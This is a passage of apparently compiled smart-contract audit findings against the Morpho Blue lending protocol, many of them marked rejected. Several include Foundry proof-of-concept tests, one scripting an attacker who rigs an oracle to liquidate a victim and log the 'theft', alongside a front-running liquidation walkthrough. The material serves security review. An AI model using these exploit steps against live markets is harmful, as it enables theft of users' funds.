+
+- Test Setup:
+
+- Setup `SUPPLIER_TWO` in `BaseTest`
+- Incorporate the tests in `LiquidateIntegrationTest`
+- Execute: `forge test --mc LiquidateIntegrationTest --mt testRealizeBadDebtBetweenAllLenders -vvv`
+
+- Tools Used
+
+Manual review
+
+- Recommended Mitigation Steps
+
+Refactor the bad debt distribution logic to ensure that if a supplier is also a borrower and has sufficient `supplyShares`, their bad debt is not shared among other suppliers.
+
+
+
+
+### Markets created with liquid staking tokens or rebasing tokens will lead to permanent freeze of funds. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Bug Description
+Where : [function `createMarket()`](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L150)
+
+As per team, Morpho Blue is expected to be completely open and act as base layer with irrespective to market created.
+On reading all such [warning](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/interfaces/IMorpho.sol#L103-L127) comments by the team, it was certain the new market creator is expected fulfil certain assumptions that guarantees Morpho behave as expected.
+
+On key point assumption that is missed in the warning is that collateral token/loan token transferred should not be a liquid staking token like "stETH","rETH" etc. full list here: [https://crypto.com/price/categories/liquid-staking](https://crypto.com/price/categories/liquid-staking) due to the fact that Morpho Blue is completely independent of the balance of tokens held by the contract instead all asset monitoring is held internally by the contract.
+
+Since liquid staking tokens is expected to continuously rebase i.e. balanceOf holders is dynamically updated with time, Morpho blue contract is suspected hold huge amount of interest generated on those tokens which would be permanently freezed. **It would definitely not be dust and directly proportional to amount of tokens held by the contract.**
+
+Similarly, all rebasing tokens such as **aTokens** : [full list here](https://docs.aave.com/developers/deployed-contracts/v3-mainnet/ethereum-mainnet) are suspected to face similar issue.
+
+- Impact
+Permanent freezing of yield/interest generated on tokens held by Morpho Contract.
+
+- Tools used
+Manual Review
+
+- Recommendation
+On looking previous audit reports and team's response, my perfect recommendation is updating NatSpec warnings where protocol is assuming to have tokens which donot rebase - i.e. balanceOf remains constant until transferred is called, which should prevent knowledgeable creator from creating these type of markets.
+
+
+
+
+
+
+
+
+
+
+### Morpho does not handle a deflationary token when receiving tokens. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Morpho does not consider deflationary tokens like fee-on-transfer when receiving tokens from users in the supply(), supplyCollateral(), and repay() functions. For instance, supply() increases the totalSupplyAssets value by the amount of assets to be received through transferFrom(). If it receives a fee-on-transfer token, which deducts a certain fee upon transfer, the actual amount of tokens held by the contract will be less than the totalSupplyAssets. Consequently, if all tokens are withdrawn, the protocol could become insolvent, leaving the last withdrawer unable to retrieve their tokens.
+
+
+**Recommendation**:
+
+When receiving tokens from users, the contract should account fee-deducted amount.
+Notify this risk in the document.
+
+
+
+### EIP712 DOMAIN_SEPARATOR stored as immutable open for replay attacks
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L49-L49](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L49-L49), [Morpho.sol#L78-L78](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L78-L78)
+
+**Description**:
+
+There is a potential vulnerability related to replay attacks in the EIP712 implementation. Specifically, the current design incorporates the chain ID into the signed data using the DOMAIN_SEPARATOR. However, the utilization of cached values, stored as immutable variables, in the DOMAIN_SEPARATOR introduces a security risk.
+
+These cached values are independent of the actual chain ID, which may be obtained through the CHAINID EVM opcode. This divergence creates a situation where signatures could be considered valid in forked networks, thereby exposing the system to replay attacks.
+
+**Recommendation**:
+
+To mitigate the risk of replay attacks, it is strongly recommended to align with best practices in the implementation of EIP712. This involves ensuring that the DOMAIN_SEPARATOR dynamically reflects the current and accurate chain ID, obtained through the CHAINID EVM opcode.
+
+reference:
+- https://github.com/mixbytes/audits_public/blob/master/Bebop/README.md#1-eip712-domain_separator-stored-as-immutable
+
+
+
+### Owner Role Changes Should Be Two Step _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L98-L98](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L98-L98)
+
+**Description**:
+
+Owner address carries numerous important abilities for the system. However the setOwner function allows the owner address to be errantly transferred to the wrong address as it does not use a two-step transfer process.
+
+**Recommendation**:
+
+It is recommended to implement a two-step role transfer where the role recipient is set and
+then the recipient has to claim that role to finalise the role transfer
+
+
+
+### Pool could be grief using glash loan function with a fee-on-transfer tokens _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L415-L417](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L415-L417)
+
+**Description**: Its imposible to avoid users to use fee on transfer token or to a token change its functionality and add a fee on transfer (USDT has ha fee that its currently in 0 but could change). This can be exploited in the `flashLoan` function, as the amount returned to the contract might be less than the amount lent out, potentially leading to a gradual drain of the contract's funds.
+
+**Recommendation**: To mitigate this issue, it's recommended to add a check after the `safeTransferFrom` call in the `flashLoan` function. This check should confirm that the balance of the contract after the loan has been repaid is at least equal to its balance before the loan was issued. This ensures that the contract is not losing funds due to transfer fees or other unexpected token behavior.
+Here is a recommendation to tackle this issue;
+```solidity
+ /// @inheritdoc IMorphoBase
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ uint256 _balancePrev = IERC20(token).balanceOf(address(this));
+ IERC20(token).safeTransfer(msg.sender, assets);
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+ require(IERC20(token).balanceOf(address(this)) >= _balancePrev, 'Transfer account error');
+ }
+```
+
+
+
+### In `setFeeRecipient` function, there is no check to ensure that the previous `feeRecipient` has accumulated his last interest _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The `_accureInterest` function is used to accrue interest for the `feeRecipient`, as it increases in time. It is executed on user's actions to make sure his interest is up to time. However, it is not executed in `setFeeRecipient` function.
+
+The problem here is that if the `_accureInterest` has not been executed for a long time, the feeRecipient's interest is not up to time. And when executing `setFeeRecipient` function, there is no check to ensure that the previous `feeRecipient` has accumulated his last interest. That would lead for the previous `feeRecipient` to has a lower interest, although he accumulated more, and the new `feeRecipent` will have more
+
+```js
+ function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+ require(newFeeRecipient != feeRecipient, ErrorsLib.ALREADY_SET);
+
+ feeRecipient = newFeeRecipient;
+
+ emit EventsLib.SetFeeRecipient(newFeeRecipient);
+ }
+```
+
+**Recommendation**:
+
+Add the `_accureInterest` function inside the `setFeeRecipient` before the setting to the new feeRecipient.
+
+
+
+### Misvalidation of non-existing tokens might create placeholder whales or phishing pools
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The trustless system allows any market to be created with non-existing tokens. While there's a comment as *It is the responsibility of the market creator to make sure that the address of the token has non-zero code.* this creates trouble for the big tokens existing on other chains but not on Eth mainnet as these big tokens mostly use `Create2` to have the same address on different chains.
+This opens an opportunity to have a placeholder position on the (yet) non-existing tokens on mainnet.
+
+
+
+Assumptions:
+1. The Oracle price feed might not exist for the non-existing token and it opens possibility for the attackers to deploy their own phishing Oracle contracts.
+2. The Oracle can provide non-existing token price feed on mainnet.
+
+The below POC demonstrates non-existing token market interactions and controlled liquidations as per item 1.
+
+Please kindly create a new `test.t.sol` file in the `integration` folder and reproduce below;
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.19;
+import "../../../lib/forge-std/src/Test.sol";
+import "../../../lib/forge-std/src/console.sol";
+import "../../../src/Morpho.sol";
+import {ERC20Mock} from "../../../src/mocks/ERC20Mock.sol";
+import {OracleMock} from "../../../src/mocks/OracleMock.sol";
+
+import {IrmMock} from "../../../src/mocks/IrmMock.sol";
+
+contract MorphoTest is Test {
+ Morpho morpho;
+ ERC20Mock collateralToken; // Collateral token
+ ERC20Mock usdc; // USDC token
+ OracleMock mockOracle;
+ IrmMock mockIrm;
+
+ address internal SUPPLIER;
+ address internal ATTACKER;
+ address internal ONBEHALF;
+ address internal OWNER;
+ address internal FEE_RECIPIENT;
+
+ function setUp() public {
+ collateralToken = new ERC20Mock();
+ vm.label(address(collateralToken), "collateralToken");
+ usdc = new ERC20Mock();
+ vm.label(address(usdc), "USDC");
+ mockOracle = new OracleMock();
+ mockIrm = new IrmMock();
+
+ morpho = new Morpho(address(this)); // Deployer is the owner
+ morpho.enableIrm(address(mockIrm));
+ morpho.enableLltv(750000000000000000); // 75% in WAD
+
+ SUPPLIER = makeAddr("Supplier");
+ ATTACKER = makeAddr("ATTACKER");
+
+ ONBEHALF = makeAddr("OnBehalf");
+
+ OWNER = makeAddr("Owner");
+ FEE_RECIPIENT = makeAddr("FeeRecipient");
+
+ morpho.setFeeRecipient(FEE_RECIPIENT);
+
+ mockOracle.setPrice(1e36);
+ usdc.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ vm.startPrank(SUPPLIER);
+ usdc.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(ATTACKER);
+ usdc.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(ONBEHALF);
+ usdc.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+ morpho.setAuthorization(SUPPLIER, true);
+ morpho.setAuthorization(ATTACKER, true);
+ vm.stopPrank();
+ }
+
+ function testMorphoFlow() public {
+
+ MarketParams memory fakeMarketParams = MarketParams({
+ loanToken: address(0), // Non-existing token. Can be hardcoded anything
+ collateralToken: address(usdc),
+ oracle: address(mockOracle),
+ irm: address(mockIrm),
+ lltv: 750000000000000000 // 75%
+ });
+ morpho.createMarket(fakeMarketParams);
+
+
+ usdc.setBalance(ATTACKER, 10000); // Mint USDC to ATTACKER
+ console.log("USDC Balance of ATTACKER before supply :", usdc.balanceOf(ATTACKER));
+
+ // Step 4: Supply USDC as collateral to fake market
+ vm.prank(ATTACKER);
+ morpho.supplyCollateral(fakeMarketParams, 100, ATTACKER, "");
+ console.log("USDC Balance of ATTACKER after supply :", usdc.balanceOf(ATTACKER));
+ vm.prank(ATTACKER);
+
+ morpho.supply(fakeMarketParams, 10000 , 0, ATTACKER, "");
+
+ usdc.setBalance(SUPPLIER, 1000); // Mint 1000 USDC to the victim
+ console.log("Victim's USDC BALANCE before supplyCollateral :", usdc.balanceOf(SUPPLIER));
+
+ vm.prank(SUPPLIER);
+ morpho.supplyCollateral(fakeMarketParams, 1000, SUPPLIER, "");
+
+ vm.prank(SUPPLIER);// borrow non-existing tokens as being hooked.
+ morpho.borrow(fakeMarketParams, 100, 0 , SUPPLIER, SUPPLIER);
+ console.log("Victim's USDC BALANCE after supplyCollateral :", usdc.balanceOf(SUPPLIER));
+ vm.prank(ATTACKER);
+
+
+ mockOracle.setPrice(0);// Set the fake oracle price only for liquidation.
+ uint256 beforeBal = usdc.balanceOf(ATTACKER);
+ console.log("Attacker's USDC balance before the liquidation : ", beforeBal);
+ console.log("USDC balance of the market before liquidation :", usdc.balanceOf(address(morpho)));
+
+ // Step 7: Liquidate the fake market Victim
+ vm.prank(ATTACKER);
+ morpho.liquidate(fakeMarketParams, SUPPLIER, 1000 , 0, "");
+ uint256 afterBal = usdc.balanceOf(ATTACKER);
+ console.log("Attacker's USDC balance after the liquidation : ", afterBal);
+
+
+ // Step 8: Console.log USDC balances
+ console.log("USDC balance of the market after liquidation:", usdc.balanceOf(address(morpho)));
+ console.log("Theft :", afterBal - beforeBal);
+
+ }
+}
+```
+![phish](https://gist.github.com/assets/65364747/6654795d-6f9e-4610-bab0-1521fc2466a7)
+
+
+As seen at the POC, one can create a non-existing token market (the `address(0)` is chosen on purpose to demonstrate the issue, else it can be a real token address not existing on mainnet but existing on other chains).
+
+They can supply max. non-existing supply to the market and inflate their shares.
+
+They can control the Oracle feed to liquidate the victims.
+
+They can be the whale of the market once the original token is deployed on the mainnet.
+
+They can even monitor mempool for the creation events and create the markets before the creation by frontrunning (Especially for the awaited token launches, airdrops, crowdfunds etc.)
+
+**Recommendation**:
+
+We recommend checking the codesize of the tokens included in the markets created.
+
+
+
+### Fee cannot be withdrawn in case of high utilization _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+`FeeRecipient` accrues shares when `_accrueInterest()`. To withdraw the fee `FeeRecipient` has to call `withdraw()`.
+This function has the following check:
+```
+require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+```
+It means that `FeeRecipient` will not be able to withdraw fees if a given market does not have liquidity. For example, in case of high utilization and high demands on borrowed funds.
+
+**Recommendation**:
+
+Consider keeping funds reserved for `FeeRecipient`. Having fees stored away from market data is also a solution.
+
+
+
+### Markets that don't accrue interest frequently have it's shares diluted by the feeRecipient
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Markets that don't accrue interest frequently have it's shares diluted by the feeRecipient
+
+- Description
+Morpho account's market fees for the fee recipient by adding feeShares to it's supplied shares and by increasing the totalSupplyShares value whenever interest is accrued.
+If a market supplied assets/shares don't vary much OR a market's interest is accrued infrequently, feeShares dilute the totalSuppliedShares and end up charging much more than the predetermined market fee. Original suppliers lose some of the supplied loan tokens.
+- Proof of concept
+At this proof of concept we pass a very long period of time with no interest accrued then call the accrueInterest external function. Then we observe the difference in totalSupplyShares and assets to put light at how the feeRecipient fees eat up supplied assets.
+
+Paste the following code snippet inside the AccrueInterestIntegrationTest.sol file:
+```solidity
+function testFeeDilutionOverTime() public {
+ uint256 amountSupplied = 2e18; // 2 ETH
+ uint256 amountBorrowed = 1e18; // 1 ETH
+ uint256 blocks = 1e8; // Large number of blocks to simulate long time
+ uint256 fee = MAX_FEE; // Maximum fee
+
+ // Set the fee for the market
+ vm.startPrank(OWNER);
+ morpho.setFee(marketParams, fee);
+ vm.stopPrank();
+
+ // Supplier supplies loan tokens
+ loanToken.setBalance(address(this), amountSupplied);
+ morpho.supply(marketParams, amountSupplied, 0, address(this), hex"");
+
+ // Providing collateral for the borrower
+ collateralToken.setBalance(BORROWER, amountSupplied); // Provide the same amount as collateral
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountSupplied, BORROWER, hex""); // Supply collateral
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER); // Borrow funds
+
+ vm.stopPrank();
+
+ // Point 1: Initial state
+ uint256 totalSupplyAssetsInitial = morpho.totalSupplyAssets(id);
+ uint256 totalSupplySharesInitial = morpho.totalSupplyShares(id);
+ uint256 contractLoanTokenBalanceInitial = loanToken.balanceOf(address(morpho));
+ uint256 feeRecipientSharesInitial = morpho.supplyShares(id, FEE_RECIPIENT);
+ console.log("Point 1 - Total supplied assets:", totalSupplyAssetsInitial);
+ console.log("Point 1 - Total supply shares:", totalSupplySharesInitial);
+ console.log("Contract's loan token balance (initial):", contractLoanTokenBalanceInitial);
+ console.log("Fee recipient's supply shares (initial):", feeRecipientSharesInitial);
+ console.log("\n"); // Adding a line break for clarity
+
+ // Forward time without accruing interest
+ _forward(blocks);
+
+ // Accrue interest after a long period
+ morpho.accrueInterest(marketParams);
+
+ // Point 2: State after interest accrual
+ uint256 totalSupplyAssetsAfter = morpho.totalSupplyAssets(id);
+ uint256 totalSupplySharesAfter = morpho.totalSupplyShares(id);
+ uint256 contractLoanTokenBalanceAfter = loanToken.balanceOf(address(morpho));
+ uint256 feeRecipientSharesAfter = morpho.supplyShares(id, FEE_RECIPIENT);
+ console.log("Point 2 - Total supplied assets after accrual:", totalSupplyAssetsAfter);
+ console.log("Point 2 - Total supply shares after accrual:", totalSupplySharesAfter);
+ console.log("Contract's loan token balance (after accrual):", contractLoanTokenBalanceAfter);
+ console.log("Fee recipient's supply shares after accrual:", feeRecipientSharesAfter);
+
+ // Assertions
+
+ assertEq(contractLoanTokenBalanceInitial, contractLoanTokenBalanceAfter, "Contract's loan token balance should remain the same");
+ assertLt(totalSupplySharesInitial, totalSupplySharesAfter);
+ assertGt(feeRecipientSharesAfter, feeRecipientSharesInitial);
+
+ // Withdraw all supply shares as the feeRecipient
+
+ vm.startPrank(FEE_RECIPIENT);
+ morpho.withdraw(marketParams, 0, feeRecipientSharesAfter, FEE_RECIPIENT, FEE_RECIPIENT);
+ vm.stopPrank();
+
+ // Point 3: State after fee recipient withdrawal
+ uint256 contractLoanTokenBalanceFinal = loanToken.balanceOf(address(morpho));
+ console.log("Point 3 - Contract's loan token balance (after feeRecipient withdrawal):", contractLoanTokenBalanceFinal);
+ }
+```
+
+
+Run the test with the following command:
+```
+forge test --match-contract AccrueInterestIntegrationTest -vv
+```
+- Recomendation
+Consider setting a cap on the maximum fee percentage that can be accrued over a specified period. This would prevent excessive dilution of shares during long periods of inactivity at a market.
+Of course, this vulnerability requires a long period of time to be executed and a UX warning to users in regards to the infrequent usage of a market should suffice as enough protection.
+
+
+
+### Morpho::setOwner() can accept zero address _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+setOwner() function does not validate for non zero address and hence it could be set to zero address.
+Once zero address is set, access to owner controlled functions will be lost permanently.
+
+recommendation:
+Implement zero address check and Consider implementing a two step
+process where the owner nominates an account and the nominated account
+needs to call an acceptOwnership() function for the transfer of ownership to
+fully succeed. This ensures the nominated EOA account is a valid and
+active account.
+
+
+
+
+### Missing Slippage Protection
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L166-L166](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L166-L166), [Morpho.sol#L197-L197](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L197-L197), [Morpho.sol#L232-L232](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L232-L232), [Morpho.sol#L266-L266](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L266-L266), [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+- Description
+
+`Morpho Blue` is a trustless lending primitive that offers unparalleled efficiency and flexibility. It enables the creation of isolated lending markets by specifying any loan asset, any collateral asset, a liquidation LTV (LLTV), an oracle, and an interest rate model.
+The [Morpho.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol) contract manages various financial transactions such as `supplying`, `withdrawing`, `borrowing`, `repaying`, and `liquidating` assets. The contract is complex and involves numerous interactions with user positions and market conditions.
+
+However, the [Morpho.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol) contract has no slippage protection in key financial transactions. Due to the highly volatile nature of the crypto and DeFi space, this can be particularly problematic, because the functions that include `asset transactions` does not verify if the user is satisfied with the final borrowed amount for example.
+
+- Proof of Concept
+
+The functions in the [Morpho.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol) contract, such as `supply`, `borrow`, and `liquidate`, involve the transfer and valuation of assets based on market conditions and oracle price feeds. These functions currently lack mechanisms to limit potential slippage. For instance:
+
+- In the `supply` function, users deposit assets expecting a certain conversion rate to shares, but market fluctuations can lead to a different rate at the time of transaction execution.
+- The `borrow` function allows users to take loans by providing collateral, but the value of the borrowed amount can change if asset prices fluctuate before the transaction is finalized.
+- The `liquidate` function, which is executed when a borrower's position becomes unhealthy, relies on real-time prices for seized assets and repaid shares. Here too, the absence of slippage control can lead to executing these liquidations at rates unfavorable to either the borrower or the liquidator.
+
+In all these scenarios, the lack of slippage protection means users are at risk of receiving less value than expected or incurring higher costs than planned. This vulnerability can be exploited in times of high volatility or through oracle manipulation, leading to financial losses for users.
+
+- Recommendation
+
+**Introduce Slippage Tolerance Parameters**: Add parameters to the `supply`, `borrow`, and `liquidate` functions that allow users to set a maximum acceptable slippage percentage. This parameter would define the acceptable range for the asset's price movement from the time of transaction initiation to execution.
+**Implement Price Checks**: Before executing a transaction, compare the current market price with the price at the time of transaction initiation. If the price change exceeds the user-defined slippage tolerance, the transaction should be reverted to protect the user from unfavorable price movements.
+
+
+
+### Not checking that seizedAsset is not greater than collateral can cause over-liquidation _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+In the [liquidate](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344-L410) function Without a check to ensure that `seizedAssets` do not exceed the borrower's collateral, a liquidator might be able to claim more collateral than is fair or intended. This could happen especially in a volatile market where collateral values can fluctuate rapidly.
+
+**Impact:**
+
+Borrowers might lose more collateral than they should, potentially leading to situations where they are unfairly penalized beyond the value of their debt. This could erode trust in the platform and deter potential users.
+
+**Recommendation**:
+
+To prevent this from happening add a check to make sure `siezedAssets` is not greater than borrower collateral
+
+`require(siezedAssets <= postion[id][borrower].collateral)`
+
+**Tool Used**: VScode
+
+
+
+### No way to change Market Oracle
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+Oracles are a crucial part of Morpho-Blue’s infrastructure. According to the whitepaper protocol heavily relies on the oracle agnostic approach, in other words, every market creator can choose for himself any type of oracle which does the job.
+
+![Morpho-Blue whitepaper](https://gist.github.com/assets/84782275/a0d20eaf-3d53-45ec-acd2-ac19d69561db)
+
+An important part is that once an oracle is chosen it cannot be changed by anyone, even when various bad things happen (stale prices returned, DoS, censorship, etc.).
+
+When something unexpected happens to an oracle and `IMorpho.price()` **reverts or provides wrong prices**, core functionalities will stop working:
+
+- borrow
+- withdrawCollateral
+- liquidate
+
+That will result in blocked funds due to the inability to either withdraw or liquidate because calls to these functions will revert.
+
+As we can see from the whitepaper users can also create their on-chain mechanisms to calculate asset prices.
+
+This opens a lot more vulnerabilities that can result in locked funds. One example is the market creator using his unique oracle approach without having any malicious intentions. In the future, someone finds a way to manipulate this Oracle implementation and successfully apply it to steal funds.
+And in fact there is no emergency stop function and no way to change the oracle.
+
+- Recommendation
+
+It’s hard to give appropriate recommendations since the protocol wants to have little to no centralization, but in our opinion implementing a function that allows market **oracle** to be changed in case of an emergency is crucial to ensure there is a way for these situations to be handled.
+
+That will greatly minimize the risk of Oracle-related issues and will gain more trust of the users.
+
+It’s important to note that this functionality should be implemented and used only by the contract **owner** in the most **critical scenarios** when there is no other way for the user funds to be withdrawn because they’re blocked from the Oracle.
+
+
+
+### In liquidate function _isHealthy takes more than the required inputs which can cause compilation error _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The `liquidate` function calls `_isHealthy` with four parameters, but _isHealthy is defined to accept only three parameters. This mismatch will result in a compilation error.
+
+```
+function liquidate(marketParams, ...) external returns(...) {
+.....
+//@audit input is more than required
+
+require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+```
+
+`_isHealthy` requires only three input parameters
+
+```
+function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+ if (position[id][borrower].borrowShares == 0) return true;
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ return _isHealthy(marketParams, id, borrower, collateralPrice);
+ }
+
+```
+
+**Impact**:
+
+The liquidation function is a critical component of lending protocols. If it fails to compile correctly, it can halt the entire liquidation process, affecting the protocol's ability to manage risk and maintain stability.
+
+**Recommendation**:
+
+Adjust the liquidation function to only take the three required input when `_isHealthy` is called.
+
+
+
+### Front-run remove authorization by calling Withdraw Collateral to reduce his health factor as much as possible and then liquidate
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L320-L339](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L320-L339), [Morpho.sol#L428-L432](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L428-L432)
+
+- Description
+
+Morpho exposes a function that allows everyone to supply collateral on a chosen borrower’s behalf, but in order to withdraw this collateral, the collateral supplier must be approved by the position owner in the `isAuthorized` mapping.
+That feature opens the possibility of race conditions between `withdrawCollateral` called from the collateral supplier and `setAuthorization` called by the position owner to revoke the rights of the borrower to withdraw his funds.
+
+The benefit for the borrower to call:
+
+```solidity
+/// @inheritdoc IMorphoBase
+function setAuthorization(address authorized, bool newIsAuthorized) external {
+ isAuthorized[msg.sender][authorized] = newIsAuthorized;
+
+ emit EventsLib.SetAuthorization(msg.sender, msg.sender, authorized, newIsAuthorized);
+}
+```
+
+which will restrict the collateral supplier from calling `withdrawCollateral` and receive the tokens that have been supplied to the borrower’s behalf.
+
+This is the root cause of the problem - collateral supplier can see the transaction in the mempool and effectively front run it, withdrawing just enough collateral that will leave the position on the verge of the liquidation threshold because of this check on line 334:
+
+```solidity
+require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+```
+
+Then after few seconds he will call `liquidate` which calls `accrueInterest` increasing the **totalBorrowAssets** and **totalSupplyAssets**, which are the deciding factors whether the position is healthy or not.
+Since this is the main way for collateral supplier to save his funds in case his rights are being revoked + he will receive up to 15% of the borrowers collateral as an liquidation incentive, this is expected to happen pretty often.
+
+- Proof of Concept
+
+Let's put it in an example:
+
+There is a market with the following params (DAI/USDC = 1:1 ratio for the sake of example):
+
+- Loan token: DAI
+- Collateral token: USDC
+- Liquidation loan-to-value >= **50%**
+- Liquidation Incentive Factor = 1.15e18 (max)
+
+Alice wants to borrow some assets from this market:
+
+1. Alice will supply the collateral of 1000 USDC.
+2. Bob comes in and supplies 1000 USDC more on Alice’s behalf with `supplyCollateral`.
+3. Alice calls `setAuthorization` for Bob enabling him to withdraw his assets at any time, but without resulting in Alice’s position being unhealthy.
+4. She borrows 500 DAI, which is 25% Loan-To-Value (2000 USDC collateral).
+5. Later on, Alice can disallow Bob from withdrawing the 1000 USDC that he provided to Alice, by calling the `setAuthorization` function passing `newIsAuthorized = false` and `authorized = Bob`.
+6. He sees the transaction in the mempool and immediately front-runs it by withdrawing a portion of his provided collateral and calls `withdrawCollateral` passing amount of tokens that will leave Alice with LLTV ~49%, which is 980 USDC and her position will still be healthy until the next call of `accrueInterest` and this will leave Alice with:
+ 1. Loan: 500 DAI
+ 2. Collateral: 1020 USDC
+ 3. Loan-to-Value ~49% from 50% threshold
+7. Bob calls `liquidate` passing entire Alice’s assets - 1000 USDC and inside this function, there is an `accrueInterest` call which will make her position unhealthy (more than 50% lltv) and ready for liquidation.
+8. As a summary, Bob enters with 1000 USDC and leaves with: 980 + (1020 * 15%) = 1133 USDC
+
+
+- Recommendation
+
+One possible remediation of this vulnerability is to implement a time lock mechanism which will give some delay for the collateral supplier to call `withdrawCollateral` in case his rights are being revoked.
+
+
+
+### function withdraw() underflows _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+A user supplies assets using function supply() where assets is the non-zero value. Later on the same user attempts to call function withdraw() where assets is the non-zero value. During the conversion from assets to shares, if totalSupplyShares increases over time, an underflow could occur when subtracting shares from the user's position causing a revert and disallowing the withdrawal.
+
+```
+ /// @inheritdoc IMorphoBase
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+
+ /// @inheritdoc IMorphoBase
+ function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares -= shares;
+ market[id].totalSupplyShares -= shares.toUint128();
+ market[id].totalSupplyAssets -= assets.toUint128();
+
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
